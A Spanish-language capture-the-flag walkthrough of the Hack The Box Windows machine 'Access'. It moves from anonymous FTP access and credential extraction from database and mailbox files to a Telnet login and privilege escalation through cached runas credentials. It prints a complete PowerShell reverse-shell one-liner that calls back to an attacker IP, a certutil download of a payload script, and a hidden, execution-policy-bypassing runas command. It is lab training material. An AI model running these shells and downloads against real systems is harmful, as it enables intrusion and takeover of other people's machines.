Introducción
Access es una caja Windows que podemos encontrar en la plataforma Hack The Box (HTB). Comenzamos accediendo al servidor FTP con usuario anonymous para obtener un archivo zip y una base de datos Access. Posteriormente, emplearemos herramientas de línea de comandos para hallar una contraseña en la base de datos que sea válida para descomprimir el archivo zip. Dentro de este archivo zip encontraremos un archivo de correo Outlook. Leeremos el correo electrónico para descubrir la contraseña de una cuenta de un usuario de sistema, a la que nos conectaremos a través de Telnet. A partir de ahí, aprovecharemos las credenciales de administrador almacenadas en caché para conseguir la flag root.txt.
Enumeración
Enumeración de puertos
Comenzamos la resolución del CTF Access, enumerando que puertos tiene abiertos este sistema.
nmap -p- --open --min-rate 1000 -Pn -n 10.10.10.98
Tres puertos abiertos. Continuamos con la enumeración profunda de estos tres puertos.
nmap -p21,23,80 -Pn -n -sVC 10.10.10.98
Interesante, vemos un acceso anonymous al servidor FTP.
Enumeración FTP
Podemos acceder al servidor FTP, y vemos dos archivos interesantes. Vamos a descargarlos en nuestra máquina de ataque.
PD: Iniciar el modo binary para descargar correctamente los archivos.
Enumerando los archivos descargados
Vamos a tratar de descomprimir el archivo zip descargado.
7z x Access_Control.zip
Pero necesitamos contraseña y no disponemos de ella.
Vamos con el otro archivo.
Para trabajar con una base de datos mdb, utilizamos la herramienta mdb-tables.
mdb-tables backup.mdb
Encontramos una posible tabla que puede ser interesante. Veamos su contenido.
mdb-export backup.mdb auth_user
Encontramos varias posibles contraseñas. Vamos a tratar de descomprimir el archivo zip haciendo uso de alguna de estas passwords.
La contraseña válida es access4u@security
Descomprimimos el archivo zip.
7z x Access\ Control.zip
Obtenemos un archivo pst. Para abrirlo, ejecutamos el siguiente comando.
readpst Access\ Control.pst
Como resultado obtenemos un archivo .mbox. Lo abrimos con cat.
Obtenemos unas nuevas credenciales, security:4Cc3ssC0ntr0ller.
Explotación
¿Dónde puede ser útil esta contraseña? Cuando realizamos la enumeración de puertos inicial, descubrimos un puerto 23 (telnet). Podría servir para iniciar sesión en la máquina objetivo con esta contraseña.
telnet 10.10.10.98
Tenemos acceso a la máquina objetivo. Vamos a buscar la flag user.txt.
Elevación de privilegios
Antes de comenzar la elevación de directorios, vamos a entablar una shell más estable y con menos fallos. Para ello, utilizamos la siguiente shell PowerShell.
powershell -command "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.6',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Y por otro lado, ejecutamos un oyente nc en el puerto 1337.
En el directorio \Users\Public\Desktop encontramos un archivo extraño que puede ser interesante. Veamos su contenido.
Dentro de este archivo, encontramos la siguiente línea interesante.
“C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred”
El texto está un poco desorganizado, sin embargo, podemos ver que se está ejecutando “runas” y que está utilizando el indicador “/savedcred”. Esto sugiere que las credenciales del administrador están siendo guardadas en memoria temporal. Para confirmar esto vamos a ejecutar el comando cmdkey /list:
Ahora sabemos que las credenciales de administrador están guardadas en caché. Vamos a utilizar esto para tratar de elevar privilegios.
Vamos a crear una shell programada en PowerShell y codificada en base64 para saltar filtros. Usamos esta herramienta.
Creamos un archivo shell.ps1 y lo enviamos a la máquina víctima haciendo uso de un servidor HTTP levantado con Python.
python3 -m http.server 80
certutil -urlcache -f http://10.10.16.6/shell.ps1 shell.ps1
Por otro lado, levantamos un oyente nc en nuestra máquina de ataque en el puerto 1234.
rlwrap -cAr nc -lnvp 1234
Ejecutamos el siguiente comando para poder ejecutar la shell como usuario administrator.
runas /savecred /user:ACCESS\Administrator "powershell -nop -W hidden -noni -ep bypass C:\Users\security\Desktop\shell.ps1"
Y obtendremos shell como usuario administrator dentro de la máquina objetivo.
Solo quedará buscar la flag root.txt para finalizar la resolución de la máquina Access.
No responses yet